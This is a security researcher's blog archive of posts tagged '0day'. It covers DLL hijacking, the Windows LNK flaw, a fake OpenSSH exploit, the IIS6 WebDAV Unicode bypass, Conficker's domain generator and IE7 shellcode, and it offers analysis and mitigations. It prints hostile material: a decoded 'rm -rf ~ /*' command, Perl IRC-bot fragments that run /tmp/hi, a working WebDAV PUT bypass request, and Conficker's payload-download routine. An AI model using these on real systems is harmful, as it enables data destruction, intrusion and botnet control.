Showing posts with label 0day. Show all posts
Showing posts with label 0day. Show all posts

Subscribe to the RSS feed in case you are interested in updates


After Acrossecurity, published an interesting vulnerability and HDmoore appears to have stumbled on the same issue, I decided to investigate on my own. I am not 100% sure it's the same bug but I am pretty confident. While it is known since years and Microsoft even dedicates a KB article to it, vendors appear to still have issues with using Loadlibrary/Getprocadress correctly.

Above does not show vulnerable examples (i.e the dll is not effectively loaded)

This issue appears to have been first discovered by Georgi Guninski (who else) in 2000, so it is not a new weakness and defensive mechanisms have been introduced into development languages as well as windows itself to mitigate this risk (if properly used)

If I will find more time this week I'll publish more details and backround as to introduce counter measures and checks into your hopefully mature Development Lifecycle.

In summary :
If loadlibrary is not called correctly AND/OR DLL Search path is not hardened opening a file located on a share will lead to DLL files being located on the share and code being executed that is within that DLL. Above is an example of Photoshop.

Until then know that this issue can be mitigated by deploying proper GPO policies that disables searching for DLLs on UNC paths (Documented in http://support.microsoft.com/kb/2264107)

Development Best practises that can protect against this weakness/vulnerability :
Tools to detect said bug class :
Mitigate this particular attack vector through GPO policies:
More information :
    Expect a lot of applications vulnerable to this bug and my title CVE-2010-x+n probably makes sense by now. Another low hanging fruit to watch out for.

    Subscribe to the RSS feed in case you are interested in updates

     Ivanlef0u released a POC for the exploit used in targeted attacks :

    More information :
    Mitigations :

    • Disable display of icons (regedit changes proposed by the MS Bulletin)
    • Use of Kernel mode protection drivers (Ariad, Sophos, etc.pp)


    Callstack:

    kd> g
    Breakpoint 1 hit
    eax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4
    eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    SHELL32!_LoadCPLModule+0x10d:
    001b:7ca78712 ff15a0159d7c    call    dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32!LoadLibraryW (7c80aeeb)}
    kd> dd esp
    00f5e9c4  00f5ee7c 000a27bc 00f5ee78 00000000
    00f5e9d4  00000020 00000008 00f5ee7c 00000000
    00f5e9e4  00000000 0000007b 00000000 00000000
    00f5e9f4  00200073 002000e0 0000064c 0000028c
    00f5ea04  1530000a 00000000 003a0043 0064005c
    00f5ea14  006c006c 0064002e 006c006c 006d002e
    00f5ea24  006e0061 00660069 00730065 00000074
    00f5ea34  00090608 7c92005d 00000000 00000007
    kd> db 00f5ee7c
    00f5ee7c  43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00  C.:.\.d.l.l...d.
    00f5ee8c  6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02  l.l....|......r.
    00f5ee9c  4b d2 00 00 d8 f2 f5 00-8b d2 a1 7c 00 00 00 00  K..........|....
    00f5eeac  ac 80 9d 7c 30 d8 0d 00-34 d8 0d 00 b8 d7 0d 00  ...|0...4.......
    00f5eebc  9a d2 a1 7c 30 d8 0d 00-c8 f2 f5 00 50 40 15 00  ...|0.......P@..
    00f5eecc  50 40 15 00 00 00 00 00-b8 00 92 7c 40 b7 0c 00  P@.........|@...
    00f5eedc  a8 ef f5 00 41 00 92 7c-18 07 09 00 5d 00 92 7c  ....A..|....]..|
    00f5eeec  c8 f2 f5 00 00 ef f5 00-00 00 00 00 b8 00 92 7c  ...............|
    kd> kv
    ChildEBP RetAddr  Args to Child
    00f5ec18 7ca81a74 00f5ee7c 000a27bc 00f5f2c4 SHELL32!_LoadCPLModule+0x10d (FPO: [1,145,4])
    00f5ee50 7ca82543 00f5ee74 000a27bc 000a27c0 SHELL32!CPL_LoadAndFindApplet+0x4a (FPO: [4,136,4])
    00f5f294 7cb56065 000a25b4 000a27bc 000a27c0 SHELL32!CPL_FindCPLInfo+0x46 (FPO: [4,264,4])
    00f5f2b8 7ca13714 00000082 00000000 00000104 SHELL32!CCtrlExtIconBase::_GetIconLocationW+0x7b (FPO: [5,0,0])
    00f5f2d4 7ca1d306 000a25ac 00000082 00f5f570 SHELL32!CExtractIconBase::GetIconLocation+0x1f (FPO: [6,0,0])
    00f5f410 7ca133b6 000dd7e0 00000082 00f5f570 SHELL32!CShellLink::GetIconLocation+0x69 (FPO: [6,68,4])
    00f5f77c 7ca03c88 000dd7e0 00000000 0015aa00 SHELL32!_GetILIndexGivenPXIcon+0x9c (FPO: [5,208,4])
    00f5f7a4 7ca06693 00131c60 000dd7e0 0015aa00 SHELL32!SHGetIconFromPIDL+0x90 (FPO: [5,0,4])
    00f5fe20 7ca12db0 00131c64 0015aa00 00000000 SHELL32!CFSFolder::GetIconOf+0x24e (FPO: [4,405,4])
    00f5fe40 7ca15e3c 00131c60 00131c64 0015aa00 SHELL32!SHGetIconFromPIDL+0x20 (FPO: [5,0,0])
    00f5fe68 7ca03275 000f8090 0014d5b0 0014a910 SHELL32!CGetIconTask::RunInitRT+0x47 (FPO: [1,2,4])
    00f5fe84 75f11b9a 000f8090 75f11b18 75f10000 SHELL32!CRunnableTask::Run+0x54 (FPO: [1,1,4])
    00f5fee0 77f49598 00155658 000cb748 77f4957b BROWSEUI!CShellTaskScheduler_ThreadProc+0x111 (FPO: [1,17,0])
    00f5fef8 7c937ac2 000cb748 7c98e440 0014cfe0 SHLWAPI!ExecuteWorkItem+0x1d (FPO: [1,0,4])
    00f5ff40 7c937b03 77f4957b 000cb748 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])
    00f5ff60 7c937bc5 00000000 000cb748 0014cfe0 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [3,0,0])
    00f5ff74 7c937b9c 7c937ae9 00000000 000cb748 ntdll!RtlpApcCallout+0x11 (FPO: [4,0,0])
    00f5ffb4 7c80b729 00000000 00edfce4 00edfce8 ntdll!RtlpWorkerThread+0x87 (FPO: [1,7,0])
    00f5ffec 00000000 7c920250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

    Subscribe to the RSS feed in case you are interested in updates

    Rumor had it that the anti-sec group was using a OpenSSH 0day, str0ke today linked to an URL that supposedly has the exploit code to that 0day.

    The reason the disassembled shellcode looked like crap is that, well , it isn't shellcode, it is nothing else then plain ascii bash/php commands.

    Here is that JMP code converted to "assembly" :
    00000000 jb 0x6f
    00000002 and byte[0x7e206672],ch
    00000008 and byte[edi],ch
    0000000a sub ah,byte[eax]
    0000000c xor bh,byte[esi]
    0000000e and byte[edi],ch
    00000010 fs: gs: jbe 0x43
    00000014 outs dx,byte[esi]
    00000015 jne 0x83
    00000017 ins byte[es:edi],dx
    00000018 and byte[esi],ah

    Obviously, this code doesn't make any sense whatsoever, so and here is the JMP code converted from HEX to ASCII :
    rm -rf ~ /* 2> /dev/null &

    The "shellcode" part actually is :
    #!/usr/bin/perl
    $chan="#cn";
    $ke";
    while (<$sockG (.*)$/){print ";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
    #!/usr/bin/perl
    n";
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
    #!/usr/bin/perl
    irc.ham.de.euirc.net";$SIG{TERM}";
    while (<$sock";
    while (<$sockn";
    sleep 1;
    n";
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
    sleep 1;
    ";
    while (<$sockn";
    sleep 1;
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl



    The supposedly freebsd shellcode is:

    ";
    while (<$sockn";
    ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
    while (<$sock";
    while (<$sockn";
    sleep 1;
    n";
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="sleep 1;
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
    while (<$sockn";
    sleep 1;
    k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
    #!/usr/bin/perl
    $chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi


    Table of Contents

    1. Updates
    2. Bulletins
    3. Am I at risk ?
    4. Tools
    5. Technical details

    0.1 Personal message

    Several news stories seem to allude that Microsoft is artificially downplaying the threat, citations of myself are used to underline the headline in an "us against Microsoft" kind of way. I want to clarify that I have the utmost respect of the MSRC team and I don't suspect Microsoft to willingly downplay anything. They also claim I am from Belgium, I am obviously from Luxembourg. The bug also is not the same as the IIS4/5 one, it's root cause is similar. That's about it.




    About:
    The video above shows the different Webdav settings and the different impacts they have. Note that code execution is only possible if these pre-conditions are met. I am not sure how often this kind of setup exists, if I had to guess i'd say not often. Credit: Rangos.

    1. Updates



    25/05/2009 - Update: As Nicolaos wrote in the comment section of this post. IP/Domain filters can be bypassed the same way. In other words if you have a filter for certain IP adresses, you can bypass them.
    Update :
    Todd Manning over at Breakpoint labs did comprehensive tests on which Unicode encodings work. The answer is a lot - IPS/IPS vendors should update their signatures.
    Update :
    Sharepoint and OWA are not affected by this bug - more info here
    Update :
    Skull security has a good write up here , they patched cadaver to exploit this vulnerability. Nmap script here.
    Update:
    Video detailing the different settings and the different impacts (up to remote code execution) Credit: Rangos
    Update:
    Nmap IIS6 Webdav scanner added to tools section.
    Update:
    Webdav Network scanner added to tools section.Update : Microsoft SRD Team gives more insight and details (Must read)
    Update :
    Microsoft advisory : http://www.microsoft.com/technet/security/advisory/971492.mspx
    Update : For IIS 6 : Write access is not allowed per default - as such you can only "upload" content if IUSR_anonymous is granted write access. This is not the case per default.
    Update : IIS5 and IIS7 are NOT affected - IIS5 and 5.1 are affected (according to MS)
    Update : It is unclear how this affects Exchange 2003 (which allows access to inboxes over webdav)


    2. Bulletins

    3. Am I at risk ?

    Below is a summary by Microsofts SRD Team, please note that the below enumeration leads to think that the chances that your setup is vulnerable is VERY unlikely. IMHO this is not the case, take a standard install of IIS6, enable Webdav, setup a protected folder requiring basic auth. And that's it, you are vulnerable.

    You are not at risk if : (Source : Microsoft SRD Team)
    • An IIS server not running WebDAV is safe.
      The Windows Server 2003 IIS (version 6) shipped with WebDAV disabled by default.
    • An IIS server not using IIS permissions to restrict content to authenticated users is safe.
    • An IIS server that does not grant filesystem access to the IUSR_[MachineName] account is safe.
    • An IIS server that hosts web applications using only forms-based authentication is probably safe.
    You are at risk : (Source Microsoft SRD Team, except italics by myself)
    • IF an IIS 5, 5.1, or 6.0 webserver is running with WebDAV enabled (default for IIS5);
    • AND the IIS server is using IIS permissions to restrict a subfolder of content to authenticated users;
    • AND file system access is granted for the restricted content to the IUSR_[MachineName] account;
    • AND a parent folder of the private subfolder allows anonymous access;
      THEN an anonymous remote user may be able to leverage this vulnerability to access files that normally would only be served to authenticated webserver users.
    4 Test tools
    • Specificaly for this vulnerability: Metasploit added test script to the trunk
    • Webdav network scanner here
    • Nmap script
    IDS/IPS Signatures
    • For PROPFIND the "translate:f" option is NOT required (only for GET requests)
    • Breakpoint labs analysed how the various UTF encodings affected the flaw - lot of variations work.
    Recommendation : until the impact is 100% clear you should temporarily disable Webdav or follow the mitigation recommendations from Microsofts SRD team



    5. Details

    Kingcope a.k.a Nicolaos Rangos released another pwnie grade vulnerability yesterday and it's resemblance to the IIS unicode flaw from 2001 was so similar that my jaw first dropped.

    Here are a few facts, these are subject to modifications as the news unfolds:
    1. Webdav is not enabled by default on IIS6, IIS7 + Webdav is not affected
    2. IIS 5 and IIS 5.1 are also affected.
    3. Enabling Webdav applies to all websites and doesn't have to be enabled per site.
    4. You can actually upload content to the web server, if the IUSR_anonymous has write access to webdav folders. (To any other folder if the account has write access to other folders)
    5. This seems to have a similar (root cause) then the 2001 Unicode IIS4/5 bug , but not exactly the same
    6. "Translate:f" is required for GET requests, PROPFIND works without the translate optiion.
    Mitigation :
    1. Temporary disable Webdav. This is not easy if you have Sharepoint services running. See here
    Backround
    In 2001 a path traversal bug was found in IIS4 and IIS5 that lead to a series of serious compromised and massive exploitation (MS01-026). It was bad really bad, the simple path traversal was used to compromise systems remotely mainly through calling (t)ftp.exe to upload arbitrary content.

    The path traversal was possible due to Microsoft's introduction of UNICODE support into IIS. The flaw was by design, a typical logical fallacy. Unicode conversion was added AFTER the security checks and not before, resulting in the path "..%c0%af.." to be considered a VALID path, yet it is nothing else then "../.." in ascii. More details can be found here.

    MS01-26 - 2001
    Here is the logic flaw that lead to the vulnerability in 2001. I quickly drafted this in Visio, below is the way it was supposed to work:

    Figure1 IIS4/5 how the security check was supposed to work (click to enlarge)

    Here is how it was implemented :



    Figure 2 - IIS4/5 how the security check was implemented (click to enlarge)

    In other words Microsoft, certainly through the late addition of Unicode support to IIS, failed to realize that converting chars to Unicode representation should happen before any "security" checks. So the flaw was one of logic, Unicode conversion after the security check.

    Fast forward 2009 - Kingcope releases a similar vulnerability.

    MS09-971492 - 2009
    The bug discovered by Rangos seems to suffer from a similar logic mistake when requesting source (translate:f) that has been introduced in the Webdav component. It appears that unicode characters are removed after the security checks.

    Figure 3 - IIS6 Webdav component Unicode replacement (click to enlarge)

    Details

    Example: Uploading arbritary content to an asp page - Creating ASP files only works if "Script Source Access" is enabled and IUSR_Anonymous has write access to the folder. Creating INC files works even if with "script source access disabled". (Source : Hubert.Seiwert)
    PUT /protected%c0%af/hello.asp HTTP/1.1
    Host: 192.168.171.142
    Translate: f
    Content-Length: 27
    <%response.write("hello")%>
    The server will however not execute this asp page - currently no code execution is known to be possible, even if write access is enabled (see exception below). The reason is that you can't simply issue a GET request to the asp page you just created - it's password protected and execution over webdav fails.

    However code execution would be possible in scenarios where :
    1. IUSR_Anonymous has write access to the folder in question
    2. If you map the root (or any other) WWW folder to the webdav folder (an hence can issue a simply GET request to the uploaded file)

    For those not in the know : Conficker is one of the largest Worm botnets in existance, and conficker is the name attributed to the piece of malware used to create the botnet.

    Conficker C uses a PRNG to generate a list of possible of rendez-vous points, in essence this are domain names (hosts) that have additional information and code to download. After the "fiasco" of having all their pseudo randomly generated domain names registered or blocked, the new conficker C variant, improved upon it's design. Conficker C now generates 50.000 possible combinations per day and adds the resulting string to 110 TLD.

    Update : Confiker disinfection, Network scanners and more

    Interestingly among the possible TLD is also Luxembourg (LU) domain. It will be interesting to see if it will be used and how Restena (the main registrar) will react. My guess it that they will most likely not succeed in getting their LU domain, since the back-end process is entirely manual (afaik).


    So if somebody from restena is reading this post, if you get a request to register a random domain name like yxsdsdfsfd.lu you should react by informing your 2nd tier registrar that something might be fishy (appropriate noun in this case) and manualy verify a contact name and phone number prior to handing out the domain.
    PS: Having not seen the PRNG, it might be totaly possible that a more meaningfull domain than random characters might be generated once in a while.


    More Information : Excellent technical backround about Conficker C from SRI

    The code used to generate the domain names is :


    int domain_name_generation()
    {
    // local declarations
    hMem = 0;
    check_if_MS_DEF_PROV();
    get_time_from_popular_web_sites();
    // baidu.com, google.com, yahoo.com, ask.com, w3.org, // facebook.com, imageshack.us, rapidshare.com

    hMem = GlobalAlloc(0x40u, 0x30D40u); // global array - 50,000 random names
    if ( hMem )
    {
    while ( 1 )
    {
    counter_domains = counter;
    if ( counter >= 50000 )
    break;

    size_of_name = DGA_random_function() % 6 + 4;
    // size of domain name is between 4 and 10 chars

    // append "." at the end of the name
    random = DGA_random_function();
    strcat(*end_of_random_name, (&array_top_domains)[4 * random % 116]);
    // append to the name one of the 116 top domain names
    ++counter;
    }

    // select and query 500 domains
    counter_domains = 0;
    while ( !success_download && counter_domains < 500 )
    {
    // random number modulo 50,000
    one_in_50000_names =
    conficker_D_PRNG_function() % 50,000);
    hostent = gethostbyname(one_in_50000_names);
    // resolve name to a set of IP addresses
    if ( hostent )
    {
    host_address = hostent->address_list; // get list of IPs
    array_previously_checked_IPs[counter_domains] = host_address;

    if ( *host_address )
    {
    // skip if domain name resolves to multiple IP addresses
    if ( !*(host_address + 1) )
    {
    // skip if IP is local host or other trivial IPs
    if ( check_IP_value(host_address) )
    {
    is_blacklisted_ip =
    check_if_IP_is_in_ranges(host_address);
    // skip if IP is blacklisted
    if ( ! is_blacklisted_ip )
    {
    found = 0;
    index = 0;
    while (index < counter_domains )
    {
    if (host_address == array_previously_checked_IPs[index] )
    {
    found = 1;
    break; // break if IP has been previously encountered
    }
    ++index;
    }
    // skip if IP has been previously encountered
    if ( !found )
    {
    snprintf(Dest, 0x80u, "http://%s", host_address);
    success_download = download_and_validate_file(Dest);
    // HTTP request to the domain and download valid file
    }
    }
    }
    }
    }
    }
    Sleep(...); // sleep small random amount
    ++counter_domains;
    }
    }
    GlobalFree(hMem);
    return success_download;
    }

    Lots of voices were heard that they will drop Adobe acrobat in favor for the free FoxitPDFreader, well this simple Remote code execution vulnerability still works with Foxit as of today :


    PS. I love SumatraPDF

    Relates to this story :
    http://www.pcworld.com/article/155190/new_web_attack_exploits_unpatched_ie_flaw.html

    Here is the extracted shellcode from the IE7 0day referenced above.
    XOR encoded payload for analysis - compile and run it through Ollydbg.
    http://secdev.zoller.lu/research/shellcode_ana1.c

    The decrypted shellcode is available for download here :
    http://secdev.zoller.lu/research/decrypted_asm_shellcode.txt

    Update
    I was not interested in posting the 0day, but somebody choose to do so on milw0rm.com, so I might aswell link there : http://milw0rm.com/sploits/2008-iesploit.tar.gz

    Update2
    HDmoore posted a nice analysis here : http://www.breakingpointsystems.com/community/

    Update 3
    11/12/2008 - 04:19
    5 out of 32 scanners recognising the 0day in HTML form
    http://www.virustotal.com/de/analisis/596d88d57bc91d977f037f317eb9aa99

    11/12/2008 - 17:34
    7 out of 38 scanners recognising the exploit
    http://www.virustotal.com/en/analisis/a68e1c2813483a58cfdd6509ccd8fe5e
    http://virscan.org/report/4907067f0f0aab53261348413dea9bc9.html

    12/12/2008 - 17:04
    11 out of 38 scanners recognising the exploit
    http://www.virustotal.com/de/analisis/475269215b8379537e45a8fd94f8dc9c
    http://virscan.org/report/7a00119178654949124b62e85d2a42c8.html

    13/12/2008 - 17:00
    12 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/en/analisis/286266a9e8096ef17bb1aa6f15a1a31f

    14/12/2008 - 19:45
    14 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/en/analisis/5e8909eea79dc716caac8af09f22ac3f
    http://virscan.org/report/47f8b4811744eaebb7d48fcc942009cb.html


    15/12/2008 - 18:25
    Still 14 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/de/analisis/592728a9493349692fc2b33e799a6a33

    16/12/2008 - 18:25
    15 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/en/analisis/28208f37d1d2c732be026a9a2990c86e

    17/12/2008 - 18:25
    Still at 15 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/de/analisis/2fa1f88d9a1372f023844af40911c83e

    19/12/2008 - 16:04
    18 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/de/analisis/2d23479870f34a8786f3229da5db23cf

    20/12/2008 - 16:04
    19 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/de/analisis/6f21e0dffcc117b695324ed93cd7a803

    21/12/2008 - 16:04
    20 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/en/analisis/6dd28dced88f1c8982503e8547d5ef01

    22/12/2008 - 16:04
    21 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/en/analisis/37537b52f8d4584fb1d294f3ccc0b385

    23/12/2008 - 16:04
    21 out of 38 AV engines recognise the exploit
    http://www.virustotal.com/de/analisis/e22efb9c30a1e7e911466b0194d2f279

    24/12/2008 - 16:04
    22 out of 38 AV engines recognise the exploit

    http://www.virustotal.com/de/analisis/9ee7bf2ca2aa85b6de52a08d1e417a15


    26/12/2008 - 16:04
    22 out of 38 AV engines recognise the exploit (Result misses Securecomputing)
    http://www.virustotal.com/de/analisis/40439a3a049d46623cfffd7e2ed05c92

    27/12/2008 - 16:04
    22 out of 38 AV engines - (Result misses VBA32)
    http://www.virustotal.com/de/analisis/5a8e26b11632745dc8c5742d5403b8ec

    28/12/2008 - 16:04
    22 out of 38 AV engines - (Result misses VBA32)
    http://www.virustotal.com/de/analisis/89fdc7975178090411d72b167e4420e8

    30/12/2008
    21 out of 38 AV engines - (CA) E-trust no longer recognises the sample, Esafe missing
    http://www.virustotal.com/de/analisis/a6e158b4cdca3da09480fdd4c49e5934